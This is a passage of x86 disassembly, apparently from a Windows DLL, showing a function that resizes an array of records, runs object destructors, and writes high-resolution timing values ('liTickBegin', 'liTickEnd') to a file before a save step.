inc eax
mov dword [0x591af024], eax
jmp 0x5901a28c
jle 0x5901a169
lea eax, [ebp + ebp*8]
sub ecx, ebp
lea esi, [edx + eax*8]
mov edx, ecx
dec ecx
mov dword [esp + 0x74], esi
test edx, edx
je 0x5901a169
lea edi, [ecx + 1]
lea ecx, [esi + 0x44]
mov byte [esp + 0x16c], 0x73
call fcn.590a7660
lea ecx, [esi + 0x2c]
mov byte [esp + 0x16c], 0x72
call fcn.590a22e0
lea ecx, [esi + 0x24]
mov byte [esp + 0x16c], 0x71
call fcn.590a7660
lea ecx, [esi + 0x20]
mov byte [esp + 0x16c], 0x70
call fcn.590a7660
lea ecx, [esi + 0x1c]
mov byte [esp + 0x16c], 0x63
call fcn.590a7660
add esi, 0x48
dec edi
mov dword [esp + 0x74], esi
jne 0x5901a10f
mov eax, dword [esp + 0x38]
inc eax
mov dword [0x591af024], eax
jmp 0x5901a28c
mov eax, dword [0x591af02c]
cmp eax, edi
jne 0x5901a1a4
mov eax, ecx
cdq
and edx, 7
add eax, edx
sar eax, 3
cmp eax, 4
jge 0x5901a198
mov eax, 4
jmp 0x5901a1a4
cmp eax, 0x400
jle 0x5901a1a4
mov eax, 0x400
add eax, esi
cmp ebp, eax
mov dword [esp + 0x88], eax
jl 0x5901a1b8
mov dword [esp + 0x88], ebp
mov eax, dword [esp + 0x88]
lea ecx, [eax + eax*8]
shl ecx, 3
push ecx
call fcn.5913e1e0
mov ecx, dword [0x591af024]
mov esi, dword [0x591af020]
mov edi, eax
mov dword [esp + 0x88], eax
lea ecx, [ecx + ecx*8]
add esp, 4
shl ecx, 3
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov edx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [0x591af024]
sub edx, ecx
lea ecx, [ecx + ecx*8]
lea esi, [eax + ecx*8]
lea ecx, [edx + edx*8]
shl ecx, 3
mov ebp, ecx
xor eax, eax
mov edi, esi
mov dword [esp + 0x74], esi
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, ebp
and ecx, 3
rep stosb byte es:[edi], al
mov eax, edx
dec edx
test eax, eax
je 0x5901a259
lea edi, [edx + 1]
mov dword [esp + 0x11c], esi
test esi, esi
mov byte [esp + 0x16c], 0x75
je 0x5901a247
mov ecx, esi
call fcn.590134e0
add esi, 0x48
mov byte [esp + 0x16c], 0x63
dec edi
mov dword [esp + 0x74], esi
jne 0x5901a22d
mov ecx, dword [0x591af020]
push ecx
call fcn.5913e209
mov eax, dword [esp + 0x3c]
mov edx, dword [esp + 0x88]
mov ecx, dword [esp + 0x8c]
add esp, 4
inc eax
mov dword [0x591af020], edx
mov dword [0x591af024], eax
mov dword [0x591af028], ecx
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0xc8]
lea esi, [esp + 0xcc]
lea edx, [eax + eax*8]
mov eax, dword [0x591af020]
lea ebp, [eax + edx*8]
lea edx, [esp + 0xe4]
push edx
mov dword [ebp], ecx
lea edi, [ebp + 4]
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp + 0x1c]
call fcn.590a77f0
lea eax, [esp + 0xe8]
lea ecx, [ebp + 0x20]
push eax
call fcn.590a77f0
lea ecx, [esp + 0xec]
push ecx
lea ecx, [ebp + 0x24]
call fcn.590a77f0
mov edx, dword [esp + 0xf0]
lea eax, [esp + 0xf4]
push eax
lea ecx, [ebp + 0x2c]
mov dword [ebp + 0x28], edx
call fcn.590a2460
mov ecx, dword [esp + 0xf8]
lea edx, [ebp + 0x34]
mov dword [ebp + 0x30], ecx
mov eax, dword [esp + 0xfc]
mov dword [edx], eax
mov ecx, dword [esp + 0x100]
mov dword [edx + 4], ecx
mov eax, dword [esp + 0x104]
mov dword [edx + 8], eax
mov ecx, dword [esp + 0x108]
mov dword [edx + 0xc], ecx
lea edx, [esp + 0x10c]
push edx
lea ecx, [ebp + 0x44]
call fcn.590a77f0
lea ecx, [esp + 0x70]
mov byte [esp + 0x16c], 0x61
call fcn.590a22e0
lea ecx, [esp + 0x14]
mov byte [esp + 0x16c], 0x5f
call fcn.590a7660
lea ecx, [esp + 0x24]
mov byte [esp + 0x16c], 0x5b
call fcn.590a7660
lea ecx, [esp + 0xb4]
mov byte [esp + 0x16c], 0x5a
call fcn.590a7660
lea ecx, [esp + 0x90]
mov byte [esp + 0x16c], 0x59
call fcn.590a7660
lea ecx, [esp + 0x10c]
mov byte [esp + 0x16c], 0x79
call fcn.590a7660
lea ecx, [esp + 0xf4]
mov byte [esp + 0x16c], 0x78
call fcn.590a22e0
lea ecx, [esp + 0xec]
mov byte [esp + 0x16c], 0x77
call fcn.590a7660
lea ecx, [esp + 0xe8]
mov byte [esp + 0x16c], 0x76
call fcn.590a7660
lea ecx, [esp + 0xe4]
mov byte [esp + 0x16c], 0x52
call fcn.590a7660
mov eax, dword [esp + 0xbc]
inc ebx
cmp ebx, eax
jl 0x59019c18
jmp 0x5901a734
test eax, eax
jne 0x5901a6bc
test edi, edi
je 0x5901a6bc
mov eax, dword [0x591638c0]
mov dword [esp + 0xe4], eax
mov byte [esp + 0x16c], 0x7b
mov dword [esp + 0xe8], eax
mov byte [esp + 0x16c], 0x7c
mov dword [esp + 0xec], eax
mov byte [esp + 0x16c], 0x7d
mov dword [esp + 0xf0], eax
mov byte [esp + 0x16c], 0x7e
mov dword [esp + 0xf4], eax
mov byte [esp + 0x16c], 0x7f
mov dword [esp + 0xf8], eax
lea ecx, [esp + 0xfc]
mov byte [esp + 0x16c], 0x80
call fcn.5901a8a0
lea ecx, [esp + 0x100]
mov byte [esp + 0x16c], 0x81
call fcn.5901a8a0
lea ecx, [esp + 0x104]
mov byte [esp + 0x16c], 0x82
call fcn.59007180
mov bl, 0x84
mov byte [esp + 0x16c], bl
mov eax, dword [edi]
mov dword [esp + 0xcc], eax
mov ecx, dword [edi + 4]
mov dword [esp + 0xd0], ecx
mov edx, dword [edi + 8]
mov dword [esp + 0xd4], edx
mov eax, dword [edi + 0xc]
lea ecx, [esp + 0xdc]
mov dword [esp + 0xd8], eax
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, dword [esp + 0x17c]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0xec]
mov dword [esp + 0xcc], edx
call fcn.590a77f0
lea ecx, [esp + 0x3c]
push ecx
lea ecx, [esp + 0xf4]
call fcn.590a77f0
lea edx, [esp + 0x44]
lea ecx, [esp + 0xf4]
push edx
call fcn.590a77f0
lea eax, [esp + 0x40]
lea ecx, [esp + 0xf8]
push eax
call fcn.590a77f0
lea ecx, [esp + 0x2c]
push ecx
lea ecx, [esp + 0xf0]
call fcn.590a77f0
lea edx, [esp + 0x28]
lea ecx, [esp + 0xfc]
push edx
call fcn.590a77f0
lea eax, [esp + 0x9c]
lea ecx, [esp + 0x100]
push eax
call fcn.590a77f0
lea ecx, [esp + 0x8c]
push ecx
lea ecx, [esp + 0xe8]
call fcn.590a77f0
lea edx, [esp + 0x34]
push 0x5918a49c
push edx
call fcn.59059510
add esp, 8
push eax
lea ecx, [esp + 0x108]
mov byte [esp + 0x170], 0x85
call fcn.590a2460
lea ecx, [esp + 0x34]
mov byte [esp + 0x16c], bl
call fcn.590a22e0
push 0x180
push 0x8101
lea ecx, [esp + 0x10c]
call fcn.5901a890
push eax
call fcn.5908a6ad
add esp, 0xc
lea ecx, [esp + 0x38]
mov esi, eax
call fcn.59007180
cmp esi, 0xffffffff
mov byte [esp + 0x16c], 0x86
je 0x5901a66b
mov eax, dword [esp + 0x98]
push eax
push ebp
push esi
call fcn.5908a4bd
mov ecx, dword [esp + 0xec]
mov edx, dword [esp + 0xe8]
mov eax, dword [edi + 0xc]
add esp, 0xc
push ecx
mov ecx, dword [edi + 8]
push edx
mov edx, dword [edi + 4]
push eax
mov eax, dword [edi]
push ecx
push edx
push eax
lea ecx, [esp + 0x50]
push str._r_n_r_nliTickBegin:_I64u__liTickEnd:_I64u__liTickRecord:_I64u
push ecx
call fcn.590a5140
add esp, 0x20
lea ecx, [esp + 0x38]
call fcn.5901a880
push eax
push 0
lea ecx, [esp + 0x40]
call fcn.590a2f70
push eax
push esi
call fcn.5908a4bd
push esi
call fcn.5908a3dd
add esp, 0x10
lea ecx, [esp + 0x38]
call fcn.5901a880
mov ecx, dword [esp + 0x98]
lea edx, [esp + 0xc8]
add eax, ecx
push edx
mov ecx, 0x591af030
mov dword [esp + 0x10c], eax
call fcn.5905f8f0
lea ecx, [esp + 0x38]
mov byte [esp + 0x16c], bl
call fcn.590a22e0
lea ecx, [esp + 0xc8]
mov byte [esp + 0x16c], 0x52
call fcn.59012570
jmp 0x5901a734
mov eax, dword [esp + 0x84]
test eax, eax
je 0x5901a6e5
lea ecx, [esp + 0xb8]
call fcn.5901a8b0
test eax, eax
je 0x5901a734
push str.________________Save_____________
lea ecx, [esp + 0x2c]
call fcn.590a78e0
lea eax, [esp + 0x134]
lea ecx, [esp + 0x148]
push eax
lea edx, [esp + 0xbc]
push ecx
lea eax, [esp + 0xa4]
push edx
lea ecx, [esp + 0x34]
push eax
lea edx, [esp + 0x3c]
push ecx
lea eax, [esp + 0x54]
push edx
lea ecx, [esp + 0x5c]
push eax
lea edx, [esp + 0x58]
push ecx
mov ecx, dword [esp + 0xb8]
lea eax, [esp + 0x40]
push edx
push eax
push ecx
push ebp
call fcn.590248c0
add esp, 0x30
lea ecx, [esp + 0x8c]
mov byte [esp + 0x16c], 0x51
call fcn.590a7660
lea ecx, [esp + 0x9c]
mov byte [esp + 0x16c], 0x23
call fcn.590a7660
lea ecx, [esp + 0x134]
mov byte [esp + 0x16c], 0x22
call fcn.590b4e70
lea ecx, [esp + 0x148]
mov byte [esp + 0x16c], 0x21
call fcn.590acff0
lea ecx, [esp + 0xb8]
mov byte [esp + 0x16c], 0x20
call fcn.590acff0
lea ecx, [esp + 0x2c]
mov byte [esp + 0x16c], 0x1f
call fcn.590a7660
lea ecx, [esp + 0x40]
mov byte [esp + 0x16c], 0x1e
call fcn.590a7660
lea ecx, [esp + 0x44]
mov byte [esp + 0x16c], 0x1d
call fcn.590a7660
lea ecx, [esp + 0x3c]
mov byte [esp + 0x16c], 0x1c
call fcn.590a7660
lea ecx, [esp + 0x28]
mov byte [esp + 0x16c], 0x1b
call fcn.590a7660
lea ecx, [esp + 0x64]
mov byte [esp + 0x16c], 0x1a
call fcn.590a7660
lea ecx, [esp + 0x30]
mov byte [esp + 0x16c], 0x13
call fcn.590a7660
lea ecx, [esp + 0x50]
mov byte [esp + 0x16c], 0xf
call fcn.590a7660
lea ecx, [esp + 0x5c]
mov byte [esp + 0x16c], 0xe
call fcn.590a7660
lea ecx, [esp + 0x58]
mov byte [esp + 0x16c], 4
call fcn.590a7660
lea ecx, [esp + 0x68]
mov byte [esp + 0x16c], 0
call fcn.590a7660
lea ecx, [esp + 0x20]
mov dword [esp + 0x16c], 0xffffffff
call fcn.590a7660
mov ecx, dword [esp + 0x164]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x160
ret